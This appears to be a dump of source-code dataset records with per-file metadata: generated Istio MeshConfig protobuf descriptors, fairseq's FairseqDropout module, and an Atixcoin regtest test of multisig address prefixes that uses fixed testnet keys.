_MESHCONFIG = _descriptor.Descriptor(
name='MeshConfig',
full_name='istio.mesh.v1alpha1.MeshConfig',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='mixer_check_server', full_name='istio.mesh.v1alpha1.MeshConfig.mixer_check_server', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='mixer_report_server', full_name='istio.mesh.v1alpha1.MeshConfig.mixer_report_server', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='disable_policy_checks', full_name='istio.mesh.v1alpha1.MeshConfig.disable_policy_checks', index=2,
number=3, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='disable_mixer_http_reports', full_name='istio.mesh.v1alpha1.MeshConfig.disable_mixer_http_reports', index=3,
number=48, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='policy_check_fail_open', full_name='istio.mesh.v1alpha1.MeshConfig.policy_check_fail_open', index=4,
number=25, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='sidecar_to_telemetry_session_affinity', full_name='istio.mesh.v1alpha1.MeshConfig.sidecar_to_telemetry_session_affinity', index=5,
number=30, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='proxy_listen_port', full_name='istio.mesh.v1alpha1.MeshConfig.proxy_listen_port', index=6,
number=4, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='proxy_http_port', full_name='istio.mesh.v1alpha1.MeshConfig.proxy_http_port', index=7,
number=5, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='connect_timeout', full_name='istio.mesh.v1alpha1.MeshConfig.connect_timeout', index=8,
number=6, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='protocol_detection_timeout', full_name='istio.mesh.v1alpha1.MeshConfig.protocol_detection_timeout', index=9,
number=42, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='tcp_keepalive', full_name='istio.mesh.v1alpha1.MeshConfig.tcp_keepalive', index=10,
number=28, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='ingress_class', full_name='istio.mesh.v1alpha1.MeshConfig.ingress_class', index=11,
number=7, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='ingress_service', full_name='istio.mesh.v1alpha1.MeshConfig.ingress_service', index=12,
number=8, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='ingress_controller_mode', full_name='istio.mesh.v1alpha1.MeshConfig.ingress_controller_mode', index=13,
number=9, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='auth_policy', full_name='istio.mesh.v1alpha1.MeshConfig.auth_policy', index=14,
number=10, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=_b('\030\001'), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='rds_refresh_delay', full_name='istio.mesh.v1alpha1.MeshConfig.rds_refresh_delay', index=15,
number=11, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=_b('\030\001'), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='enable_tracing', full_name='istio.mesh.v1alpha1.MeshConfig.enable_tracing', index=16,
number=12, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='access_log_file', full_name='istio.mesh.v1alpha1.MeshConfig.access_log_file', index=17,
number=13, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='access_log_format', full_name='istio.mesh.v1alpha1.MeshConfig.access_log_format', index=18,
number=24, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='access_log_encoding', full_name='istio.mesh.v1alpha1.MeshConfig.access_log_encoding', index=19,
number=27, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='enable_envoy_access_log_service', full_name='istio.mesh.v1alpha1.MeshConfig.enable_envoy_access_log_service', index=20,
number=40, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='default_config', full_name='istio.mesh.v1alpha1.MeshConfig.default_config', index=21,
number=14, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='mixer_address', full_name='istio.mesh.v1alpha1.MeshConfig.mixer_address', index=22,
number=16, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=_b('\030\001'), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='outbound_traffic_policy', full_name='istio.mesh.v1alpha1.MeshConfig.outbound_traffic_policy', index=23,
number=17, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='enable_client_side_policy_check', full_name='istio.mesh.v1alpha1.MeshConfig.enable_client_side_policy_check', index=24,
number=19, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='sds_uds_path', full_name='istio.mesh.v1alpha1.MeshConfig.sds_uds_path', index=25,
number=20, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=_b('\030\001'), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='sds_refresh_delay', full_name='istio.mesh.v1alpha1.MeshConfig.sds_refresh_delay', index=26,
number=21, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=_b('\030\001'), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='config_sources', full_name='istio.mesh.v1alpha1.MeshConfig.config_sources', index=27,
number=22, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='enable_auto_mtls', full_name='istio.mesh.v1alpha1.MeshConfig.enable_auto_mtls', index=28,
number=43, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='enable_sds_token_mount', full_name='istio.mesh.v1alpha1.MeshConfig.enable_sds_token_mount', index=29,
number=23, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='sds_use_k8s_sa_jwt', full_name='istio.mesh.v1alpha1.MeshConfig.sds_use_k8s_sa_jwt', index=30,
number=29, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='trust_domain', full_name='istio.mesh.v1alpha1.MeshConfig.trust_domain', index=31,
number=26, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='trust_domain_aliases', full_name='istio.mesh.v1alpha1.MeshConfig.trust_domain_aliases', index=32,
number=46, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='default_service_export_to', full_name='istio.mesh.v1alpha1.MeshConfig.default_service_export_to', index=33,
number=31, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='default_virtual_service_export_to', full_name='istio.mesh.v1alpha1.MeshConfig.default_virtual_service_export_to', index=34,
number=32, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='default_destination_rule_export_to', full_name='istio.mesh.v1alpha1.MeshConfig.default_destination_rule_export_to', index=35,
number=33, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='root_namespace', full_name='istio.mesh.v1alpha1.MeshConfig.root_namespace', index=36,
number=34, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='locality_lb_setting', full_name='istio.mesh.v1alpha1.MeshConfig.locality_lb_setting', index=37,
number=35, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='dns_refresh_rate', full_name='istio.mesh.v1alpha1.MeshConfig.dns_refresh_rate', index=38,
number=36, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='disable_report_batch', full_name='istio.mesh.v1alpha1.MeshConfig.disable_report_batch', index=39,
number=37, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='report_batch_max_entries', full_name='istio.mesh.v1alpha1.MeshConfig.report_batch_max_entries', index=40,
number=38, type=13, cpp_type=3, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='report_batch_max_time', full_name='istio.mesh.v1alpha1.MeshConfig.report_batch_max_time', index=41,
number=39, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='h2_upgrade_policy', full_name='istio.mesh.v1alpha1.MeshConfig.h2_upgrade_policy', index=42,
number=41, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='inbound_cluster_stat_name', full_name='istio.mesh.v1alpha1.MeshConfig.inbound_cluster_stat_name', index=43,
number=44, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='outbound_cluster_stat_name', full_name='istio.mesh.v1alpha1.MeshConfig.outbound_cluster_stat_name', index=44,
number=45, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='certificates', full_name='istio.mesh.v1alpha1.MeshConfig.certificates', index=45,
number=47, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[_MESHCONFIG_OUTBOUNDTRAFFICPOLICY, ],
enum_types=[
_MESHCONFIG_INGRESSCONTROLLERMODE,
_MESHCONFIG_AUTHPOLICY,
_MESHCONFIG_ACCESSLOGENCODING,
_MESHCONFIG_H2UPGRADEPOLICY,
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=187,
serialized_end=2634,
)
_CONFIGSOURCE = _descriptor.Descriptor(
name='ConfigSource',
full_name='istio.mesh.v1alpha1.ConfigSource',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='address', full_name='istio.mesh.v1alpha1.ConfigSource.address', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='tls_settings', full_name='istio.mesh.v1alpha1.ConfigSource.tls_settings', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='subscribed_resources', full_name='istio.mesh.v1alpha1.ConfigSource.subscribed_resources', index=2,
number=3, type=14, cpp_type=8, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2637,
serialized_end=2791,
)
_CERTIFICATE = _descriptor.Descriptor(
name='Certificate',
full_name='istio.mesh.v1alpha1.Certificate',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='secret_name', full_name='istio.mesh.v1alpha1.Certificate.secret_name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='dns_names', full_name='istio.mesh.v1alpha1.Certificate.dns_names', index=1,
number=2, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2793,
serialized_end=2846,
)
_MESHCONFIG_OUTBOUNDTRAFFICPOLICY.fields_by_name['mode'].enum_type = _MESHCONFIG_OUTBOUNDTRAFFICPOLICY_MODE
_MESHCONFIG_OUTBOUNDTRAFFICPOLICY.containing_type = _MESHCONFIG
_MESHCONFIG_OUTBOUNDTRAFFICPOLICY_MODE.containing_type = _MESHCONFIG_OUTBOUNDTRAFFICPOLICY
_MESHCONFIG.fields_by_name['connect_timeout'].message_type = google_dot_protobuf_dot_duration__pb2._DURATION
_MESHCONFIG.fields_by_name['protocol_detection_timeout'].message_type = google_dot_protobuf_dot_duration__pb2._DURATION
_MESHCONFIG.fields_by_name['tcp_keepalive'].message_type = networking_dot_v1alpha3_dot_destination__rule__pb2._CONNECTIONPOOLSETTINGS_TCPSETTINGS_TCPKEEPALIVE
_MESHCONFIG.fields_by_name['ingress_controller_mode'].enum_type = _MESHCONFIG_INGRESSCONTROLLERMODE
_MESHCONFIG.fields_by_name['auth_policy'].enum_type = _MESHCONFIG_AUTHPOLICY
_MESHCONFIG.fields_by_name['rds_refresh_delay'].message_type = google_dot_protobuf_dot_duration__pb2._DURATION
_MESHCONFIG.fields_by_name['access_log_encoding'].enum_type = _MESHCONFIG_ACCESSLOGENCODING
_MESHCONFIG.fields_by_name['default_config'].message_type = mesh_dot_v1alpha1_dot_proxy__pb2._PROXYCONFIG
_MESHCONFIG.fields_by_name['outbound_traffic_policy'].message_type = _MESHCONFIG_OUTBOUNDTRAFFICPOLICY
_MESHCONFIG.fields_by_name['sds_refresh_delay'].message_type = google_dot_protobuf_dot_duration__pb2._DURATION
_MESHCONFIG.fields_by_name['config_sources'].message_type = _CONFIGSOURCE
_MESHCONFIG.fields_by_name['enable_auto_mtls'].message_type = google_dot_protobuf_dot_wrappers__pb2._BOOLVALUE
_MESHCONFIG.fields_by_name['locality_lb_setting'].message_type = networking_dot_v1alpha3_dot_destination__rule__pb2._LOCALITYLOADBALANCERSETTING
_MESHCONFIG.fields_by_name['dns_refresh_rate'].message_type = google_dot_protobuf_dot_duration__pb2._DURATION
_MESHCONFIG.fields_by_name['report_batch_max_time'].message_type = google_dot_protobuf_dot_duration__pb2._DURATION
_MESHCONFIG.fields_by_name['h2_upgrade_policy'].enum_type = _MESHCONFIG_H2UPGRADEPOLICY
_MESHCONFIG.fields_by_name['certificates'].message_type = _CERTIFICATE
_MESHCONFIG_INGRESSCONTROLLERMODE.containing_type = _MESHCONFIG
_MESHCONFIG_AUTHPOLICY.containing_type = _MESHCONFIG
_MESHCONFIG_ACCESSLOGENCODING.containing_type = _MESHCONFIG
_MESHCONFIG_H2UPGRADEPOLICY.containing_type = _MESHCONFIG
_CONFIGSOURCE.fields_by_name['tls_settings'].message_type = networking_dot_v1alpha3_dot_destination__rule__pb2._TLSSETTINGS
_CONFIGSOURCE.fields_by_name['subscribed_resources'].enum_type = _RESOURCE
DESCRIPTOR.message_types_by_name['MeshConfig'] = _MESHCONFIG
DESCRIPTOR.message_types_by_name['ConfigSource'] = _CONFIGSOURCE
DESCRIPTOR.message_types_by_name['Certificate'] = _CERTIFICATE
DESCRIPTOR.enum_types_by_name['Resource'] = _RESOURCE
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
MeshConfig = _reflection.GeneratedProtocolMessageType('MeshConfig', (_message.Message,), {
'OutboundTrafficPolicy' : _reflection.GeneratedProtocolMessageType('OutboundTrafficPolicy', (_message.Message,), {
'DESCRIPTOR' : _MESHCONFIG_OUTBOUNDTRAFFICPOLICY,
'__module__' : 'mesh.v1alpha1.config_pb2'
# @@protoc_insertion_point(class_scope:istio.mesh.v1alpha1.MeshConfig.OutboundTrafficPolicy)
})
,
'DESCRIPTOR' : _MESHCONFIG,
'__module__' : 'mesh.v1alpha1.config_pb2'
# @@protoc_insertion_point(class_scope:istio.mesh.v1alpha1.MeshConfig)
})
_sym_db.RegisterMessage(MeshConfig)
_sym_db.RegisterMessage(MeshConfig.OutboundTrafficPolicy)
ConfigSource = _reflection.GeneratedProtocolMessageType('ConfigSource', (_message.Message,), {
'DESCRIPTOR' : _CONFIGSOURCE,
'__module__' : 'mesh.v1alpha1.config_pb2'
# @@protoc_insertion_point(class_scope:istio.mesh.v1alpha1.ConfigSource)
})
_sym_db.RegisterMessage(ConfigSource)
Certificate = _reflection.GeneratedProtocolMessageType('Certificate', (_message.Message,), {
'DESCRIPTOR' : _CERTIFICATE,
'__module__' : 'mesh.v1alpha1.config_pb2'
# @@protoc_insertion_point(class_scope:istio.mesh.v1alpha1.Certificate)
})
_sym_db.RegisterMessage(Certificate)
DESCRIPTOR._options = None
_MESHCONFIG.fields_by_name['auth_policy']._options = None
_MESHCONFIG.fields_by_name['rds_refresh_delay']._options = None
_MESHCONFIG.fields_by_name['mixer_address']._options = None
_MESHCONFIG.fields_by_name['sds_uds_path']._options = None
_MESHCONFIG.fields_by_name['sds_refresh_delay']._options = None
# @@protoc_insertion_point(module_scope)
| true | true |
f72640bdf780be7bf1cfaf80fbf1f6bf7bf0616f | 1,758 | py | Python | fairseq/modules/fairseq_dropout.py | zhengzx-nlp/REDER | 7035e089e4d30b8090a2c3caa937b1e0ba27cedc | [
"MIT"
] | 18 | 2021-11-14T06:34:26.000Z | 2022-03-19T07:18:08.000Z | fairseq/modules/fairseq_dropout.py | zhengzx-nlp/REDER | 7035e089e4d30b8090a2c3caa937b1e0ba27cedc | [
"MIT"
] | 1 | 2021-12-03T07:23:36.000Z | 2021-12-10T08:32:36.000Z | fairseq/modules/fairseq_dropout.py | zhengzx-nlp/REDER | 7035e089e4d30b8090a2c3caa937b1e0ba27cedc | [
"MIT"
] | 2 | 2021-12-10T14:20:09.000Z | 2022-01-08T09:39:27.000Z | # Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import logging
from typing import List, Optional
import torch.nn as nn
import torch.nn.functional as F
logger = logging.getLogger(__name__)
class FairseqDropout(nn.Module):
def __init__(self, p, module_name=None):
super().__init__()
self.p = p
self.module_name = module_name
self.apply_during_inference = False
def forward(self, x, inplace: bool = False):
if self.training or self.apply_during_inference:
return F.dropout(x, p=self.p, training=True, inplace=inplace)
else:
return x
def extra_repr(self) -> str:
return 'p={}'.format(self.p)
def make_generation_fast_(
self,
name: str,
retain_dropout: bool = False,
retain_dropout_modules: Optional[List[str]] = None,
**kwargs
):
if retain_dropout:
if retain_dropout_modules is not None and self.module_name is None:
logger.warning(
'Cannot enable dropout during inference for module {} '
'because module_name was not set'.format(name)
)
elif (
retain_dropout_modules is None # if None, apply to all modules
or self.module_name in retain_dropout_modules
):
logger.info(
'Enabling dropout during inference for module: {}'.format(name)
)
self.apply_during_inference = True
else:
logger.info('Disabling dropout for module: {}'.format(name))
| 31.392857 | 83 | 0.600683 |
import logging
from typing import List, Optional
import torch.nn as nn
import torch.nn.functional as F
logger = logging.getLogger(__name__)
class FairseqDropout(nn.Module):
def __init__(self, p, module_name=None):
super().__init__()
self.p = p
self.module_name = module_name
self.apply_during_inference = False
def forward(self, x, inplace: bool = False):
if self.training or self.apply_during_inference:
return F.dropout(x, p=self.p, training=True, inplace=inplace)
else:
return x
def extra_repr(self) -> str:
return 'p={}'.format(self.p)
def make_generation_fast_(
self,
name: str,
retain_dropout: bool = False,
retain_dropout_modules: Optional[List[str]] = None,
**kwargs
):
if retain_dropout:
if retain_dropout_modules is not None and self.module_name is None:
logger.warning(
'Cannot enable dropout during inference for module {} '
'because module_name was not set'.format(name)
)
elif (
retain_dropout_modules is None
or self.module_name in retain_dropout_modules
):
logger.info(
'Enabling dropout during inference for module: {}'.format(name)
)
self.apply_during_inference = True
else:
logger.info('Disabling dropout for module: {}'.format(name))
| true | true |
f726415ccf6a26910901b63bb701354b030b9ab9 | 4,077 | py | Python | qa/rpc-tests/test_script_address2.py | jalcantara1983/atixcoin | d3e941bf1dd911c224bb66a3e82bfecf1a5fefe6 | [
"MIT"
] | null | null | null | qa/rpc-tests/test_script_address2.py | jalcantara1983/atixcoin | d3e941bf1dd911c224bb66a3e82bfecf1a5fefe6 | [
"MIT"
] | null | null | null | qa/rpc-tests/test_script_address2.py | jalcantara1983/atixcoin | d3e941bf1dd911c224bb66a3e82bfecf1a5fefe6 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Copyright (c) 2015-2016 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
#
# Test new Atixcoin multisig prefix functionality.
#
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import *
import decimal
class ScriptAddress2Test(BitcoinTestFramework):
def __init__(self):
super().__init__()
self.num_nodes = 3
self.setup_clean_chain = False
def setup_network(self):
self.nodes = []
self.nodes.append(start_node(0, self.options.tmpdir, []))
self.nodes.append(start_node(1, self.options.tmpdir, []))
self.nodes.append(start_node(2, self.options.tmpdir, []))
connect_nodes(self.nodes[1], 0)
connect_nodes(self.nodes[2], 0)
self.is_network_split = False
self.sync_all()
def run_test(self):
cnt = self.nodes[0].getblockcount()
# Mine some blocks
self.nodes[1].generate(100)
self.sync_all()
if (self.nodes[0].getblockcount() != cnt + 100):
raise AssertionError("Failed to mine 100 blocks")
addr = self.nodes[0].getnewaddress()
addr2 = self.nodes[0].getnewaddress()
multisig_addr = self.nodes[0].addmultisigaddress(2, [addr, addr2], "multisigaccount")
assert_equal(multisig_addr[0], 'Q')
# Send to a new multisig address
txid = self.nodes[1].sendtoaddress(multisig_addr, 1)
block = self.nodes[1].generate(3)
self.sync_all()
tx = self.nodes[2].getrawtransaction(txid, 1)
dest_addrs = [tx["vout"][0]['scriptPubKey']['addresses'][0],
tx["vout"][1]['scriptPubKey']['addresses'][0]]
assert(multisig_addr in dest_addrs)
# Spend from the new multisig address
addr3 = self.nodes[1].getnewaddress()
txid = self.nodes[0].sendfrom("multisigaccount", addr3, 0.8)
block = self.nodes[0].generate(2)
self.sync_all()
assert(self.nodes[0].getbalance("multisigaccount", 1) < 0.2)
assert(self.nodes[1].listtransactions()[-1]['address'] == addr3)
# Send to an old multisig address. The api addmultisigaddress
# can only generate a new address so we manually compute
# multisig_addr_old beforehand using an old client.
priv_keys = ["cU7eeLPKzXeKMeZvnEJhvZZ3tLqVF3XGeo1BbM8dnbmV7pP3Qg89",
"cTw7mRhSvTfzqCt6MFgBoTBqwBpYu2rWugisXcwjv4cAASh3iqPt"]
addrs = ["mj6gNGRXPXrD69R5ApjcsDerZGrYKSfb6v",
"mqET4JA3L7P7FoUjUP3F6m6YsLpCkyzzou"]
self.nodes[0].importprivkey(priv_keys[0])
self.nodes[0].importprivkey(priv_keys[1])
multisig_addr_new = self.nodes[0].addmultisigaddress(2, addrs, "multisigaccount2")
assert_equal(multisig_addr_new, "QZ974ZrPrmqMmm1PSVp4m8YEgo3bCQZBbe")
multisig_addr_old = "2N5nLwYz9qfnGdaFLpPn3gS6oYQbmLTWPjq"
## Let's send to the old address. We can then find it in the
## new address with the new client. So basically the old
## address and the new one are the same thing.
txid = self.nodes[1].sendtoaddress(multisig_addr_old, 1)
block = self.nodes[1].generate(1)
self.sync_all()
tx = self.nodes[2].getrawtransaction(txid, 1)
dest_addrs = [tx["vout"][0]['scriptPubKey']['addresses'][0],
tx["vout"][1]['scriptPubKey']['addresses'][0]]
assert(multisig_addr_new in dest_addrs)
assert(multisig_addr_old not in dest_addrs)
# Spend from the new multisig address
addr4 = self.nodes[1].getnewaddress()
txid = self.nodes[0].sendfrom("multisigaccount2", addr4, 0.8)
block = self.nodes[0].generate(2)
self.sync_all()
assert(self.nodes[0].getbalance("multisigaccount2", 1) < 0.2)
assert(self.nodes[1].listtransactions()[-1]['address'] == addr4)
if __name__ == '__main__':
ScriptAddress2Test().main()
| 40.366337 | 93 | 0.649497 |
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import *
import decimal
